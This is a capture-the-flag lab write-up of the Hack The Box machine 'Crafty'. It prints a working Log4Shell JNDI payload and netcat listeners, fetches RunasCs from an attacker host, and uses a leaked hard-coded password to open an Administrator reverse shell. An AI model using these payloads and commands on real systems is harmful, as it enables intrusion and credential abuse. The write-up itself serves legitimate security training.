> For the complete documentation index, see [llms.txt](https://kryptocoder.gitbook.io/hacking-knowledge/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kryptocoder.gitbook.io/hacking-knowledge/write-ups/htb-machines/crafty.md).

# Crafty (Easy)

## <mark style="color:blue;">Description</mark>

* **Difficulty** <mark style="color:green;">**->**</mark> Easy
* **OS** <mark style="color:green;">**->**</mark> Windows
* **State** <mark style="color:green;">-></mark> Retired
* **Tags&#x20;**<mark style="color:green;">**->**</mark> Web Application / Injections / Common Applications / Remote Code Execution\
  &#x20;             / Hard-coded Credentials / Batch / Java

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FXhswvagLnIUKFAZ1LEhA%2Fimage.png?alt=media&amp;token=b0cca322-d13d-4798-b95c-363a5744642e" alt=""><figcaption><p><a href="https://app.hackthebox.com/machines/587">https://app.hackthebox.com/machines/587</a></p></figcaption></figure>

## <mark style="color:blue;">Write-up</mark>

* I started doing an initial port scan using [*Nmap*](/hacking-knowledge/networks-wip/tools-and-utilities.md#nmap)

{% code lineNumbers="true" %}

```bash
nmap -p- -Pn --min-rate 2500 -oN scan.txt 10.129.230.193
```

{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FWCa5ts74tpavuSstScFx%2Fimage.png?alt=media&amp;token=d88a0c51-3303-4675-b13c-853c57081cfe" alt=""><figcaption></figcaption></figure>

***

* Then I did an exhaustive scan to learn more about the services running on the open ports

{% code overflow="wrap" lineNumbers="true" %}

```bash
nmap -p80,25565 -sVC -oN serv_scan.txt 10.129.230.193
```

{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2Fd5hWjIXtMVIXvrss98St%2Fimage.png?alt=media&amp;token=6740baf3-75f1-46f0-a7fb-3cebe6e8a802" alt=""><figcaption></figcaption></figure>

***

* I found an HTTP service on port 80, so I tried accessing the content in the browser. I got redirected to the *crafty.htb* domain, but couldn't get the content. So I added it to my list of known hosts in the */etc/hosts* file and visited again, this time having access to a page about a server for the popular game *Minecraft*

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F1DVEcst6mrlyjP45lQzz%2Fimage.png?alt=media&amp;token=7f459096-df2b-4457-9dc6-c81256f29c29" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" lineNumbers="true" %}

```bash
echo "10.129.230.193 crafty.htb" >> /etc/hosts
```

{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2Fv5N3miM6nCncQzyz44Qg%2Fimage.png?alt=media&amp;token=c9dca21c-4095-4524-b9cf-fe5e19ee0570" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
To learn more about the HTTP protocol, you can go [here](/hacking-knowledge/networks-wip/protocols/http.md)
{% endhint %}

***

* I explored all the site buttons but got redirected to a *Coming Soon* page with no relevant info. The only interesting thing I found was a domain that, with the context of the page, should be for the *Minecraft* server that was running on the machine, as the previous scan also showed me

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F93O0IHgmoeXK0XdUZvfF%2Fimage.png?alt=media&amp;token=67537fd9-4a1b-487b-957e-2833cb41ed34" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F2xjdulE99O47pKlDMl1v%2Fimage.png?alt=media&amp;token=a4cbb927-7471-4590-8420-5ae4f140d701" alt=""><figcaption></figcaption></figure>

***

* As I didn't have the game, I tried finding an alternative way to interact with this server. After much searching, I found a [repository](https://github.com/MCCTeam/Minecraft-Console-Client) with a console client to interact with the *Minecraft* servers, which would log some interactions and let me send commands as if I were in the game. I downloaded the [last release](https://github.com/MCCTeam/Minecraft-Console-Client/releases/tag/20241227-281) on my machine and then executed the client, specifying an arbitrary username with no password and the target IP

{% code overflow="wrap" lineNumbers="true" %}

```bash
./MinecraftClient-20241227-281-linux-x64 KryptoCoder "" 10.129.230.193
```

{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2Fjo42Gaslcr2wPNc9iLYK%2Fimage.png?alt=media&amp;token=95d78eec-0707-4c9c-abf4-d703da78b537" alt=""><figcaption></figcaption></figure>

***

* Now that I could interact with the server, I tried looking for any possible vulnerability related to this game version. After some research, I found an [official notification](https://www.minecraft.net/es-es/article/important-message--security-vulnerability-java-edition) about a previous security warning related to the [*Log4J*](https://logging.apache.org/log4j/2.x/index.html) logging library. It was vulnerable to the well-known *Log4Shell* vulnerability, so I started to find a way to exploit it, and fortunately, to facilitate the process, I found a [POC](https://github.com/kozmer/log4j-shell-poc) on *GitHub*

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FLeTGNGiU1g0qdlL8qsQ0%2Fimage.png?alt=media&amp;token=301a196a-4adc-4560-b653-d0fc6c84e387" alt=""><figcaption><p>snippet</p></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FKKYG6svvzfywBoInCLEc%2Fimage.png?alt=media&amp;token=71258b81-8ae9-400d-85e3-e3a71f529658" alt=""><figcaption><p>SNIPPET</p></figcaption></figure>

***

* I downloaded it, checked its structure, and noticed something I had to modify. In line 26 of the script, it was spawning a */bin/sh* binary, but I changed it to *powershell.exe* as our target was a *Windows* machine. Then I set a listener with [*Netcat*](/hacking-knowledge/networks-wip/tools-and-utilities.md#netcat) to catch the connection and reviewed the parameters needed, setting my IP to make the request, an arbitrary port where the web server will be deployed, and the port where the listener was running

{% code overflow="wrap" lineNumbers="true" %}

```bash
nc -nvlp 4444
python3 poc.py --userip 10.10.14.137 --webport 8080 --lport 4444
```

{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F9FxuA74uUTRHaFOWmf0y%2Fimage.png?alt=media&amp;token=02615dae-a514-4e96-b9aa-1e853ed55cb8" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F4q3Nmesr6Tuob52xufaB%2Fimage.png?alt=media&amp;token=370255c7-6e29-4c21-8bfa-ebcd14187457" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
To learn more about the *Log4Shell* vulnerability and its exploitation, you can go [here](/hacking-knowledge/web-exploitation-wip/web-vulnerabilities-wip/cve-log4shell-wip.md)
{% endhint %}

***

* After executing it, I got several errors related to *Java*. I didn't understand what was wrong, so I reviewed the repository again and noticed that for this script to work, I would need a proper [JDK version](https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html) in the repository. So I did that, with the JDK folder in the same place as the script was, and re-ran it this time, deploying everything without a problem

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FCzenEniOV7NTZAdSEKQD%2Fimage.png?alt=media&amp;token=01e91fa4-ea6a-49f1-b0c0-817de7b079f3" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FcwZVVVuRxwwZ3hGxIp8n%2Fimage.png?alt=media&amp;token=70e09776-c7ce-4cb3-8293-8f3d970ab5d4" alt=""><figcaption></figcaption></figure>

***

* After that, I inserted the payload for the *JNDI* communication in the client and checked the script, where I was notified about getting a request, confirming the request was sent properly, and with that, I caught a shell from the machine with the listener

{% code overflow="wrap" lineNumbers="true" %}

```bash
#Into the console client
> ${jndi:ldap://10.10.14.9:1389/a}
```

{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2Fub2Q0BD1NElJHnf8oyUK%2Fimage.png?alt=media&amp;token=9964def0-3d7d-4c44-927e-86def06aa913" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FhnPLqFeV52nLM27kODmq%2Fimage.png?alt=media&amp;token=7d9c3b5c-0dad-4b98-9962-fb75c50e6b29" alt=""><figcaption></figcaption></figure>

***

* Once inside, I went to the user's *Desktop*, where I found a *user.txt* file, and by reading its content, I retrieved the user flag

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FwrmCIQkiwPNZeZCyqukL%2Fimage.png?alt=media&amp;token=a77c8374-2551-437a-869f-7339e23c4eb5" alt=""><figcaption></figcaption></figure>

***

* With that, I got the user flag

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FCo1DMyGXicEyKFHfPVJd%2Fimage.png?alt=media&amp;token=456cd876-47ce-41a2-8fd8-f7f62ee3087f" alt=""><figcaption></figcaption></figure>

> Answer: ***286dda4cbcfb299d664f02c2511a543***

***

* To find a way to escalate privileges, I started looking at the files under the server's folder. There I found files related to logs and configurations, but what caught my attention was the *plugins* folder, as they are usually added externally from the base software and are well-known for being vulnerable in various types of applications. Checking the content of this folder, there was a *playercounter* plugin that could be saving some interesting data about users

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2Frk8I1MXIjTUyqpgGUBF7%2Fimage.png?alt=media&amp;token=561518c0-c490-4092-b7f1-a70fe3d17386" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FnTOg9lUjNttRovevK2vT%2Fimage.png?alt=media&amp;token=c69ea618-77ea-4b2d-996e-95c2c7f84967" alt=""><figcaption></figcaption></figure>

***

* I checked the permissions we had on the folder, but we didn't have writing permissions, so we couldn't export or copy the content of the file. So I went to the root folder and created a *Temp* folder, which would give me this advantage, then copied the file there and used [*certutil*](/hacking-knowledge/active-directory-hacking-wip/tools-and-utilities-wip.md#certutil) to encode its content to base64 to prepare it for the transfer

{% code overflow="wrap" lineNumbers="true" %}

```powershell
icacls playercounter-1.0-SNAPSHOT.jar
cd C:\
New-Item Temp -ItemType Directory
Copy-Item C:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar .\plugin.jar
certutil -encode plugin.jar b64.txt
type b64.txt
```

{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FkEhiclAwwnsvV71fTX6c%2Fimage.png?alt=media&amp;token=7ced1f4f-08a7-4cee-bc14-05d1de953a6e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FjkBdIyJNfdnTRDgv6bHm%2Fimage.png?alt=media&amp;token=b49fa46f-1a8d-482b-9e83-3ffe1805200f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FoEosHulBcynHwoyjBqlN%2Fimage.png?alt=media&amp;token=520d3ea9-2a26-40d0-8d8f-f3fbcda5ff14" alt=""><figcaption></figcaption></figure>

***

* Having the encoded content, I copied it to a file on my machine and reversed the encoding process with the base64 command, saving its content again to a *.jar* file to have the same file again. Then I searched the web for a [Java Decompiler](https://jdec.app/) and uploaded the file, being able to see the source code of the executable

{% code overflow="wrap" lineNumbers="true" %}

```bash
nano plugin.txt #Here I pasted the b64 string
cat plugin.txt | base64 -d > plugin.jar
file plugin.jar
```

{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FlammqHkIDYvJ4KNPBaWx%2Fimage.png?alt=media&amp;token=d6d8a678-3c48-4c59-b568-73ef82730f71" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FgXFUKNqhqjaALJgzERwl%2Fimage.png?alt=media&amp;token=f039f6d4-1137-4e50-a6d9-1a31ee788ef4" alt=""><figcaption></figcaption></figure>

***

* I understood that this plugin was connecting to an *RCON* service and logging in locally using the *s67uB4zKqBIXw* password and then doing the counting process. This leaked a possible password for a user on the system, maybe for the *Administrator* user. So, to try logging in or, even better, to run commands as another user, I could try using the [*RunasCs*](/hacking-knowledge/active-directory-hacking-wip/tools-and-utilities-wip.md#runascs) utility. To do so, I downloaded the binary on my machine and exported it to the target

{% code overflow="wrap" lineNumbers="true" %}

```powershell
#On my machine
python3 -m http.server 8000

#On the target machine
wget http://10.10.14.10:8000/RunasCs.exe -outFile RunasCs.exe
```

{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FkuuefRX29RAOt6L4aWiO%2Fimage.png?alt=media&amp;token=c0365e26-bdd0-4620-af06-87c28a32ff12" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FXKiavo8KUszDire0DhBf%2Fimage.png?alt=media&amp;token=f117914d-2e2e-43b3-9485-6dfb9f65b93b" alt=""><figcaption></figcaption></figure>

***

* Then I set up another [*Netcat*](/hacking-knowledge/networks-wip/tools-and-utilities.md#netcat) listener and tried using the binary to generate a Reverse Shell, spawning a PowerShell that would connect to my machine, specifying the proper credentials. With that, I successfully gained a shell as the *Administrator* user

{% code overflow="wrap" lineNumbers="true" %}

```bash
#On my machine
nc -nvlp 7777

#On the target machine
.\RunasCs.exe Administrator s67uB4zKqBIXw powershell.exe -r 10.10.14.10:7777
```

{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FGXZJWkhz6p3ag9MpjfPv%2Fimage.png?alt=media&amp;token=d15ea2d1-6094-4024-b24e-070cc0e954fe" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FwKdJsXmr6JNlHlUuKDhq%2Fimage.png?alt=media&amp;token=7438f50f-40df-4d97-8746-5f6d55ccd585" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FLeSvaddmiKmSdvaC2oXO%2Fimage.png?alt=media&amp;token=ca65edb5-37aa-4d5b-bcb0-d0c331eafc3e" alt=""><figcaption></figcaption></figure>

***

* Finally, I went to the Desktop folder, where I found a *root.txt* file, and by reading its content, I retrieved the root flag

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FbJVj8BnwaVJJ5wcRYvEZ%2Fimage.png?alt=media&amp;token=eed8db2e-e5bf-45f3-8fd8-4f810f6047f2" alt=""><figcaption></figcaption></figure>

***

* With that, I got the root flag and pwned the machine

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F7IT97FbkPlTo5KtwskbE%2Fimage.png?alt=media&amp;token=04037b77-8ec9-429a-87d1-9f8e19d957fe" alt=""><figcaption></figcaption></figure>

> Answer: ***ccd0681e8e2d4988e392984202922be3***
